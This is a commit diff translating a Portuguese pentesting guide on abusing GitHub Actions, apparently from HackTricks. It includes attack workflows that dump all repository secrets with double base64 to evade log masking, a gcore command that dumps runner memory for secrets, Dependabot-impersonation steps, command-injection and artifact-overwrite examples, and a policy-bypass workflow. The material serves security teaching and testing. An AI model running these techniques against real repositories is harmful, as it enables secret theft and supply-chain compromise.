Translated ['', 'src/pentesting-ci-cd/github-security/basic-github-infor

This commit is contained in:
Translator
2025-09-29 22:13:27 +00:00
parent db34e85492
commit 3d0b39a53b
6 changed files with 322 additions and 323 deletions

View File

@@ -1,58 +1,58 @@
# Abusando de Github Actions
# Abusing Github Actions
{{#include ../../../banners/hacktricks-training.md}}
## Ferramentas
## Tools
As seguintes ferramentas são úteis para encontrar Github Action workflows e até localizar ones vulneráveis:
As seguintes ferramentas são úteis para encontrar workflows do Github Action e até identificar os vulneráveis:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Confira também seu checklist em [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Ver também o checklist em [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
## Informações Básicas
## Basic Information
Nesta página você encontrará:
- Um **resumo de todos os impactos** caso um atacante consiga acesso a um Github Action
- Um **resumo de todos os impactos** de um atacante que consiga acessar um Github Action
- Diferentes maneiras de **obter acesso a uma action**:
- Ter **permissões** para criar a action
- Abusar gatilhos relacionados a **pull request**
- Abusar outras técnicas de **external access**
- **Pivoting** a partir de um repo já comprometido
- Finalmente, uma seção sobre **post-exploitation** para abusar de uma action por dentro (causar os impactos mencionados)
- Abusar **outras técnicas de acesso externo**
- **Pivoting** a partir de um repositório já comprometido
- Finalmente, uma seção sobre **post-exploitation techniques to abuse an action from inside** (causar os impactos mencionados)
## Resumo dos Impactos
## Impacts Summary
Para uma introdução sobre [**Github Actions verifique as informações básicas**](../basic-github-information.md#github-actions).
Para uma introdução sobre [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
Se você pode **executar código arbitrário em GitHub Actions** dentro de um **repositório**, você pode ser capaz de:
Se você puder **executar código arbitrário em GitHub Actions** dentro de um **repositório**, você pode ser capaz de:
- **Roubar secrets** montados no pipeline e **abusar dos privilégios do pipeline** para obter acesso não autorizado a plataformas externas, como AWS e GCP.
- **Roubar segredos** montados no pipeline e **abusar dos privilégios do pipeline** para obter acesso não autorizado a plataformas externas, como AWS e GCP.
- **Comprometer deployments** e outros **artifacts**.
- Se o pipeline deploya ou armazena assets, você pode alterar o produto final, permitindo um supply chain attack.
- **Executar código em custom workers** para abusar da capacidade de computação e pivotar para outros sistemas.
- Se o pipeline faz deploy ou armazena assets, você poderia alterar o produto final, permitindo um supply chain attack.
- **Executar código em custom workers** para abusar de poder computacional e pivotar para outros sistemas.
- **Sobrescrever o código do repositório**, dependendo das permissões associadas ao `GITHUB_TOKEN`.
## GITHUB_TOKEN
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
Este **"segredo"** (proveniente de `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) é fornecido quando o admin habilita esta opção:
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
Este token é o mesmo que uma **Github Application will use**, então ele pode acessar os mesmos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Você pode ver as possíveis **permissões** deste token em: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
Note that the token **expires after the job has completed**.\
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Note que o token **expira após a conclusão do job**.\
Esses tokens se parecem com isto: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Some interesting things you can do with this token:
Algumas coisas interessantes que você pode fazer com este token:
{{#tabs }}
{{#tab name="Merge PR" }}
@@ -91,7 +91,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
{{#endtabs }}
> [!CAUTION]
> Observe que, em várias ocasiões, você poderá encontrar **github user tokens inside Github Actions envs or in the secrets**. Esses tokens podem lhe conceder mais privilégios sobre o repositório e a organização.
> Note que em várias ocasiões você poderá encontrar **github user tokens inside Github Actions envs or in the secrets**. Esses tokens podem dar a você mais privilégios sobre o repositório e a organização.
<details>
@@ -151,22 +151,22 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
## Execução Permitida
> [!NOTE]
> Esta seria a maneira mais fácil de comprometer Github actions, já que este caso supõe que você tem acesso para **create a new repo in the organization**, ou possui **write privileges over a repository**.
> Esta seria a maneira mais fácil de comprometer Github actions, já que este caso supõe que você tenha acesso para **create a new repo in the organization**, ou que tenha **write privileges over a repository**.
>
> Se você estiver neste cenário, pode consultar [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
> Se você estiver neste cenário, pode simplesmente consultar as [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
### Execução a partir da criação do repo
No caso de membros de uma organização poderem **create new repos** e você puder executar github actions, você pode **create a new repo and steal the secrets set at organization level**.
Caso membros de uma organização possam **create new repos** e você possa executar Github actions, você pode **create a new repo and steal the secrets set at organization level**.
### Execução a partir de uma nova branch
### Execução a partir de um novo branch
Se você puder **create a new branch in a repository that already contains a Github Action** configurada, você pode **modify** a action, **upload** o conteúdo e então **execute that action from the new branch**. Dessa forma você pode **exfiltrate repository and organization level secrets** (mas é preciso saber como eles são chamados).
Se você conseguir **create a new branch in a repository that already contains a Github Action** configurada, você pode **modify** ela, **upload** o conteúdo e então **execute that action from the new branch**. Deste modo você pode **exfiltrate repository and organization level secrets** (mas você precisa saber como eles são chamados).
> [!WARNING]
> Qualquer restrição implementada apenas dentro do workflow YAML (por exemplo, `on: push: branches: [main]`, job conditionals, ou manual gates) pode ser editada por colaboradores. Sem aplicação externa (branch protections, protected environments, e protected tags), um contribuidor pode redirecionar um workflow para rodar na sua branch e abusar dos mounted secrets/permissions.
> Qualquer restrição implementada apenas dentro do workflow YAML (for example, `on: push: branches: [main]`, job conditionals, or manual gates) pode ser editada por colaboradores. Without external enforcement (branch protections, protected environments, and protected tags), a contributor can retarget a workflow to run on their branch and abuse mounted secrets/permissions.
Você pode tornar a action modificada executável **manualmente,** quando um **PR é criado** ou quando **algum código é pushed** (dependendo de quão ruidoso você quer ser):
Você pode tornar a action modificada executável **manualmente,** quando um **PR é criado** ou quando **algum código é enviado** (dependendo de quão barulhento você quer ser):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -180,49 +180,49 @@ branches:
```
---
## Execução a partir de fork
## Execução via Fork
> [!NOTE]
> Existem diferentes triggers que podem permitir que um atacante **execute um Github Action de outro repositório**. Se essas ações acionáveis estiverem mal configuradas, um atacante pode ser capaz de comprometer elas.
> Existem diferentes gatilhos que podem permitir que um atacante **execute uma Github Action de outro repositório**. Se essas ações acionáveis estiverem mal configuradas, um atacante pode conseguir comprometê-las.
### `pull_request`
O workflow trigger **`pull_request`** vai executar o workflow toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **colaborando**, algum **mantenedor** precisará **aprovar** a **execução** do workflow:
O gatilho do workflow **`pull_request`** executará o workflow toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **contribuindo**, algum **mantenedor** precisará **aprovar** a **execução** do workflow:
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
> [!NOTE]
> Como a **limitação padrão** é para contribuintes **na primeira vez**, você poderia contribuir **corrigindo um bug/typo válido** e então enviar **outros PRs para abusar de seus novos `pull_request` privilégios**.
> Como a **limitação padrão** é para contribuintes de **primeira vez**, você poderia contribuir **corrigindo um bug/typo válido** e depois enviar **outros PRs para abusar dos seus novos `pull_request` privilégios**.
>
> **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e deletar a conta dele.~~
> **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e apagar a conta dessa pessoa.~~
Além disso, por padrão **impede permissões de escrita** e **acesso a secrets** ao repositório alvo como mencionado na [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
Além disso, por padrão **impede permissões de escrita** e **acesso a secrets** ao repositório alvo, como mencionado nos [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
> Com exceção de `GITHUB_TOKEN`, **os secrets não são passados para o runner** quando um workflow é acionado a partir de um repositório **fork**. O **`GITHUB_TOKEN` tem permissões somente de leitura** em pull requests **de repositórios fork**.
Um atacante poderia modificar a definição do Github Action para executar coisas arbitrárias e anexar ações arbitrárias. Entretanto, ele não conseguirá roubar secrets ou sobrescrever o repositório por causa das limitações mencionadas.
Um atacante poderia modificar a definição da Github Action para executar coisas arbitrárias e adicionar ações arbitrárias. Contudo, ele não conseguirá roubar secrets nem sobrescrever o repositório por causa das limitações mencionadas.
> [!CAUTION]
> **Sim, se o atacante alterar no PR o Github Action que será disparado, o Github Action dele será o que será usado e não o do repositório de origem!**
> **Sim, se o atacante alterar no PR a github action que será acionada, a sua Github Action será a utilizada e não a do repositório de origem!**
Como o atacante também controla o código que está sendo executado, mesmo que não existam secrets ou permissões de escrita no `GITHUB_TOKEN`, um atacante poderia por exemplo **fazer upload de artefatos maliciosos**.
Como o atacante também controla o código sendo executado, mesmo que não existam secrets ou permissões de escrita no `GITHUB_TOKEN`, um atacante poderia, por exemplo, **fazer upload de artefatos maliciosos**.
### **`pull_request_target`**
O workflow trigger **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a secrets** (e não pede permissão).
O gatilho de workflow **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a secrets** (e não pede permissão).
Observe que o workflow trigger **`pull_request_target`** **é executado no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais informações sobre `pull_request_target` [**consulte a documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Além disso, para mais informações sobre esse uso específico e perigoso, confira este [**post do blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Note que o gatilho de workflow **`pull_request_target`** **é executado no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais info sobre `pull_request_target` [**confira os docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
Além disso, para mais informações sobre esse uso específico perigoso, veja este [**post no blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
Pode parecer que, porque o **workflow executado** é o definido no **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**.
Pode parecer que, como o **workflow executado** é o definido na **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**.
E este terá **acesso a secrets**.
### `workflow_run`
O [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger permite executar um workflow a partir de outro quando ele está `completed`, `requested` ou `in_progress`.
O [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger permite executar um workflow a partir de outro quando este estiver `completed`, `requested` ou `in_progress`.
Neste exemplo, um workflow está configurado para executar após a conclusão do workflow separado "Run Tests":
Neste exemplo, um workflow está configurado para rodar depois que o workflow separado "Run Tests" é concluído:
```yaml
on:
workflow_run:
@@ -230,29 +230,29 @@ workflows: [Run Tests]
types:
- completed
```
Além disso, de acordo com a documentação: O workflow iniciado pelo evento `workflow_run` é capaz de **acessar secrets e write tokens, mesmo que o workflow anterior não fosse**.
Além disso, segundo a documentação: O workflow iniciado pelo evento `workflow_run` consegue **acessar secrets e write tokens, mesmo que o workflow anterior não**.
Esse tipo de workflow pode ser atacado se ele estiver **dependendo** de um **workflow** que pode ser **triggered** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no workflow acionado por **`workflow_run`** baixando o código do atacante: `${{ github.event.pull_request.head.sha }}`\
O segundo consiste em **passar** um **artifact** do código **untrusted** para o workflow **`workflow_run`** e usar o conteúdo desse artifact de uma forma que o torna **vulnerável a RCE**.
Esse tipo de workflow pode ser atacado se ele estiver **dependendo** de um **workflow** que possa ser **disparado** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**encontrados neste blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no workflow acionado por **`workflow_run`** baixando o código do atacante: `${{ github.event.pull_request.head.sha }}`\
O segundo consiste em **passar** um **artifact** do código **untrusted** para o workflow **`workflow_run`** e usar o conteúdo desse artifact de forma que o torne **vulnerável a RCE**.
### `workflow_call`
TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
TODO: Verificar se, quando executado a partir de um pull_request, o código usado/baixado é o do origin ou do forked PR
## Abusando da Execução a partir de Forks
Mencionamos todas as maneiras pelas quais um atacante externo poderia conseguir fazer um workflow do GitHub executar; agora vamos ver como essas execuções, se mal configuradas, podem ser abusadas:
Mencionamos todas as formas pelas quais um atacante externo poderia conseguir fazer um workflow do github ser executado; agora vamos ver como essas execuções, se mal configuradas, podem ser abusadas:
### Execução de checkout não confiável
No caso de **`pull_request`**, o workflow vai ser executado no **contexto do PR** (portanto ele irá executar o **código malicioso do PR**), mas alguém precisa **autorizar primeiro** e ele vai rodar com algumas [limitações](#pull_request).
No caso de **`pull_request`**, o workflow será executado no **contexto do PR** (portanto executará o **código malicioso do PR**), mas alguém precisa **autorizá-lo primeiro** e ele será executado com algumas [limitações](#pull_request).
No caso de um workflow usando **`pull_request_target` or `workflow_run`** que dependa de um workflow que pode ser triggerado por **`pull_request_target` or `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**.
No caso de um workflow usando **`pull_request_target` or `workflow_run`** que dependa de um workflow que pode ser disparado a partir de **`pull_request_target` or `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**.
> [!CAUTION]
> No entanto, se a **action** tiver um **PR checkout explícito** que vai **obter o código do PR** (e não do base), ele irá usar o código controlado pelo atacante. Por exemplo (veja a linha 12 onde o código do PR é baixado):
> No entanto, se a **action** tiver um **checkout de PR explícito** que irá **obter o código do PR** (e não do base), ela usará o código controlado pelo atacante. Por exemplo (veja a linha 12 onde o código do PR é baixado):
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
on:
@@ -282,10 +282,10 @@ message: |
Thank you!
</code></pre>
O código potencialmente **untrusted está sendo executado durante `npm install` ou `npm build`** já que os scripts de build e os **packages referenciados são controlados pelo autor do PR**.
O código potencialmente **não confiável está sendo executado durante `npm install` ou `npm build`** já que os scripts de build e os **packages** referenciados são controlados pelo autor do PR.
> [!WARNING]
> Um github dork para procurar por actions vulneráveis é: `event.pull_request pull_request_target extension:yml` no entanto, existem diferentes formas de configurar os jobs para serem executados de forma segura mesmo se a action estiver configurada de forma insegura (como usar condicionais sobre quem é o actor que gera o PR).
> Um github dork para procurar actions vulneráveis é: `event.pull_request pull_request_target extension:yml` no entanto, existem diferentes maneiras de configurar os jobs para serem executados de forma segura mesmo que a action esteja configurada de forma insegura (como usar condicionais sobre quem é o actor que gerou o PR).
### Injeções de Script de Contexto <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
@@ -295,19 +295,19 @@ Note que existem certos [**github contexts**](https://docs.github.com/en/actions
gh-actions-context-script-injections.md
{{#endref}}
### **GITHUB_ENV** Injeção de Script <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
### **Injeção de Script via GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
Segundo a documentação: Você pode tornar uma **variável de ambiente disponível para quaisquer passos subsequentes** em um job de workflow definindo ou atualizando a variável de ambiente e escrevendo isso no arquivo de ambiente **`GITHUB_ENV`**.
Se um atacante puder **injetar qualquer valor** dentro dessa variável de **env**, ele poderia injetar variáveis de ambiente que poderiam executar código em passos seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
Se um atacante puder **injetar qualquer valor** dentro dessa variável de **env**, ele poderia injetar variáveis de ambiente que executem código em passos seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
Por exemplo ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um workflow que confia em um artifact enviado para armazenar seu conteúdo dentro da variável de env **`GITHUB_ENV`**. Um atacante poderia enviar algo como isto para comprometer:
Por exemplo ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um workflow que confia em um artifact enviado para armazenar seu conteúdo dentro da variável de ambiente **`GITHUB_ENV`**. Um atacante poderia enviar algo como isto para comprometer:
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
### Dependabot and other trusted bots
### Dependabot e outros bots confiáveis
Como indicado em [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), várias organizações têm uma Github Action que mescla qualquer PR de `dependabot[bot]` como em:
Como indicado em [**este post no blog**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), várias organizações têm uma Github Action que mescla qualquer PR do `dependabot[bot]` como em:
```yaml
on: pull_request_target
jobs:
@@ -317,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
O que é um problema porque o campo `github.actor` contém o usuário que causou o evento mais recente que acionou o workflow. E várias maneiras de fazer com que o usuário `dependabot[bot]` modifique um PR. Por exemplo:
O que é um problema porque o campo `github.actor` contém o usuário que causou o último evento que disparou o workflow. E existem várias maneiras de fazer com que o usuário `dependabot[bot]` modifique um PR. Por exemplo:
- Fazer fork do repositório da vítima
- Adicionar o payload malicioso à sua cópia
- Habilitar Dependabot no seu fork adicionando uma dependência desatualizada. Dependabot criará um branch corrigindo a dependência com código malicioso.
- Abrir um Pull Request para o repositório da vítima a partir desse branch (o PR será criado pelo usuário, então nada acontecerá ainda)
- Então, o atacante volta ao PR inicial que o Dependabot abriu no seu fork e executa `@dependabot recreate`
- Então, o Dependabot realiza algumas ações nesse branch, que modificam o PR no repositório da vítima, o que faz com que `dependabot[bot]` seja o ator do evento mais recente que acionou o workflow (e, portanto, o workflow é executado).
- Fork the victim repository
- Add the malicious payload to your copy
- Enable Dependabot on your fork adding an outdated dependency. Dependabot will create a branch fixing the dependency with malicious code.
- Open a Pull Request to the victim repository from that branch (the PR will be created by the user so nothing will happen yet)
- Then, attacker goes back to the initial PR Dependabot opened in his fork and runs `@dependabot recreate`
- Then, Dependabot perform some actions in that branch, that modified the PR over the victim repo, which makes `dependabot[bot]` the actor of the latest event that triggered the workflow (and therefore, the workflow runs).
Indo em frente, e se em vez de mesclar a Github Action tivesse uma command injection como em:
Seguindo, e se em vez de merging o Github Action tivesse uma command injection like in:
```yaml
on: pull_request_target
jobs:
@@ -336,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
Bem, o blogpost original propõe duas opções para abusar desse comportamento, sendo a segunda:
Bem, o post original propõe duas opções para abusar desse comportamento, sendo a segunda:
- Fork o repositório da vítima e habilite o Dependabot com alguma dependência desatualizada.
- Crie uma nova branch com o código de shell injection malicioso.
- Altere o branch padrão do repo para essa.
- Crie um PR dessa branch para o repositório da vítima.
- Faça fork do repositório da vítima e ative o Dependabot com alguma dependência desatualizada.
- Crie uma nova branch com o código malicioso de shell injection.
- Altere a branch padrão do repositório para essa.
- Crie um PR a partir dessa branch para o repositório da vítima.
- Execute `@dependabot merge` no PR que o Dependabot abriu no fork dele.
- O Dependabot irá mesclar suas mudanças no branch padrão do seu fork, atualizando o PR no repositório da vítima, fazendo agora com que o `dependabot[bot]` seja o ator do último evento que acionou o workflow e usando um nome de branch malicioso.
- O Dependabot vai mergear as mudanças na branch padrão do seu repositório forkado, atualizando o PR no repositório da vítima, tornando agora o `dependabot[bot]` o ator do último evento que disparou o workflow e usando um nome de branch malicioso.
### Vulnerable Third Party Github Actions
### Github Actions de terceiros vulneráveis
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
As mencionado em [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Github Action permite acessar artifacts de diferentes workflows e até repositories.
Como mencionado em [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), este Github Action permite acessar artifacts de diferentes workflows e até repositórios.
O problema é que, se o parâmetro **`path`** não for definido, o artifact é extraído no diretório atual e pode sobrescrever arquivos que depois podem ser usados ou até executados no workflow. Portanto, se o Artifact for vulnerável, um atacante pode abusar disso para comprometer outros workflows que confiam no Artifact.
O problema é que se o parâmetro **`path`** não for definido, o artifact é extraído no diretório atual e pode sobrescrever arquivos que podem ser usados posteriormente ou até executados no workflow. Portanto, se o Artifact for vulnerável, um atacante poderia abusar disso para comprometer outros workflows que confiam no Artifact.
Exemplo de workflow vulnerável:
Example of vulnerable workflow:
```yaml
on:
workflow_run:
@@ -376,7 +376,7 @@ with:
name: artifact
path: ./script.py
```
Isto pode ser atacado com este workflow:
Isto poderia ser atacado com este workflow:
```yaml
name: "some workflow"
on: pull_request
@@ -397,23 +397,23 @@ path: ./script.py
### Deleted Namespace Repo Hijacking
Se uma conta alterar seu nome, outro usuário pode registrar uma conta com esse nome depois de algum tempo. Se um repository teve **less than 100 stars previously to the change of name**, Github permitirá que o novo usuário registrado com o mesmo nome crie um **repository with the same name** que o excluído.
Se uma conta mudar seu nome, outro usuário pode registrar uma conta com esse nome após algum tempo. Se um repository teve **menos de 100 stars antes da mudança de nome**, o Github permitirá que o novo usuário registrado com o mesmo nome crie um **repository com o mesmo nome** do que foi deletado.
> [!CAUTION]
> Portanto, se uma action estiver usando um repo de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a action.
> Então, se uma action está usando um repo de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a action.
Se outros repositories estavam usando **dependencies from this user repos**, um atacante poderá sequestrá-los. Aqui você tem uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
Se outros repos estavam usando **dependencies** dos repos deste usuário, um atacante poderá hijackálos. Aqui você tem uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
> Nesta seção vamos falar sobre técnicas que permitirão **pivot from one repo to another**, supondo que tenhamos algum tipo de acesso no primeiro (veja a seção anterior).
> Nesta seção vamos falar sobre técnicas que permitem **pivot from one repo to another**, supondo que temos algum tipo de acesso no primeiro (veja a seção anterior).
### Cache Poisoning
Um cache é mantido entre **workflow runs in the same branch**. Isso significa que, se um atacante conseguir **compromise** um **package** que então é armazenado no cache e **downloaded** e executado por um **more privileged** workflow, ele também será capaz de **compromise** esse workflow.
Uma cache é mantida entre **workflow runs in the same branch**. Isso significa que se um atacante comprometer um **package** que é então armazenado na cache e **downloaded** e executado por um **workflow mais privilegiado**, ele também poderá comprometer esse workflow.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -421,7 +421,7 @@ gh-actions-cache-poisoning.md
### Artifact Poisoning
Workflows podem usar **artifacts from other workflows and even repos**; se um atacante conseguir **compromise** o Github Action que **uploads an artifact** que é posteriormente usado por outro workflow, ele poderia **compromise the other workflows**:
Workflows podem usar **artifacts from other workflows and even repos**; se um atacante conseguir comprometer a Github Action que **uploads an artifact** que depois é usada por outro workflow, ele poderia comprometer os outros workflows:
{{#ref}}
gh-actions-artifact-poisoning.md
@@ -433,9 +433,9 @@ gh-actions-artifact-poisoning.md
### Github Action Policies Bypass
Como comentado em [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), mesmo que um repository ou organização tenha uma policy restringindo o uso de certas actions, um atacante poderia simplesmente fazer download (`git clone`) da action dentro do workflow e então referenciá-la como uma local action. Como as policies não afetam local paths, **a action será executada sem qualquer restrição.**
Como comentado em [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), mesmo se um repository ou organization tiver uma policy que restrinja o uso de certas actions, um atacante poderia apenas fazer download (`git clone`) da action dentro do workflow e então referenciála como uma local action. Como as policies não afetam local paths, **a action será executada sem nenhuma restrição.**
Exemplo:
Example:
```yaml
on: [push, pull_request]
@@ -458,7 +458,7 @@ path: gha-hazmat
```
### Acessando AWS e GCP via OIDC
Check the following pages:
Consulte as seguintes páginas:
{{#ref}}
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -472,7 +472,7 @@ Check the following pages:
Se você estiver injetando conteúdo em um script, é interessante saber como acessar secrets:
- Se o secret ou token estiver definido em uma **variável de ambiente**, ele pode ser acessado diretamente através do ambiente usando **`printenv`**.
- Se o secret ou token estiver definido como uma **variável de ambiente**, eles podem ser acessados diretamente através do ambiente usando **`printenv`**.
<details>
@@ -503,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
<details>
<summary>Obter reverse shell with secrets</summary>
<summary>Obter reverse shell usando secrets</summary>
```yaml
name: revshell
on:
@@ -530,11 +530,11 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
- ```bash
cat /home/runner/work/_temp/*
```
- Para JavaScript actions, os secrets são passados via environment variables
- Para JavaScript actions os secrets são enviados através de environment variables
- ```bash
ps axe | grep node
```
- Para uma **custom action**, o risco pode variar dependendo de como um programa usa o secret que obteve do **argument**:
- Para uma **custom action**, o risco pode variar dependendo de como um programa está usando o secret que obteve do **argument**:
```yaml
uses: fakeaction/publish@v3
@@ -542,7 +542,7 @@ with:
key: ${{ secrets.PUBLISH_KEY }}
```
- Enumere todos os secrets via o secrets context (nível de colaborador). Um contributor com write access pode modificar um workflow em qualquer branch para despejar todos os repository/org/environment secrets. Use double base64 para evadir o log masking do GitHub e decode localmente:
- Enumere todos os secrets via o secrets context (nível de colaborador). Um contributor com write access pode modificar um workflow em qualquer branch para dumpar todos os repository/org/environment secrets. Use double base64 para evitar o log masking do GitHub e decode localmente:
```yaml
name: Steal secrets
@@ -558,31 +558,31 @@ run: |
echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
```
Decodifique localmente:
Decode localmente:
```bash
echo "ZXdv...Zz09" | base64 -d | base64 -d
```
Dica: para stealth durante os testes, criptografe antes de imprimir (openssl já vem pré-instalado nos GitHub-hosted runners).
Dica: para furtividade durante testes, encripte antes de imprimir (openssl já vem pré-instalado nos GitHub-hosted runners).
### Abusando de Self-hosted runners
### Abusing Self-hosted runners
A maneira de descobrir quais **Github Actions estão sendo executadas em infraestrutura fora do GitHub** é procurar por **`runs-on: self-hosted`** no yaml de configuração do Github Action.
A forma de encontrar quais **Github Actions are being executed in non-github infrastructure** é procurar por **`runs-on: self-hosted`** no yaml de configuração do Github Action.
**Self-hosted** runners podem ter acesso a **extra sensitive information**, a outros **network systems** (endpoints vulneráveis na rede? metadata service?) ou, mesmo que estejam isolados e destruídos, **mais de uma action pode ser executada ao mesmo tempo** e a maliciosa poderia **steal the secrets** da outra.
**Self-hosted** runners podem ter acesso a **informações sensíveis extras**, a outros **network systems** (endpoints vulneráveis na rede? metadata service?) ou, mesmo que esteja isolado e destruído, **mais de uma action pode ser executada ao mesmo tempo** e a maliciosa poderia **steal the secrets** da outra.
Em self-hosted runners também é possível obter os **secrets from the \_Runner.Listener**\_\*\* process\*\* que conterá todos os secrets dos workflows em qualquer etapa ao despejar sua memória:
Em self-hosted runners também é possível obter os **secrets from the \_Runner.Listener**\_\*\* process\*\* que irá conter todos os secrets dos workflows em qualquer etapa ao dumpar sua memória:
```bash
sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Confira [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
Consulte [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
### Registro de Imagens Docker do Github
### Github Docker Images Registry
É possível criar Github actions que irão **construir e armazenar uma Docker image dentro do Github**.\
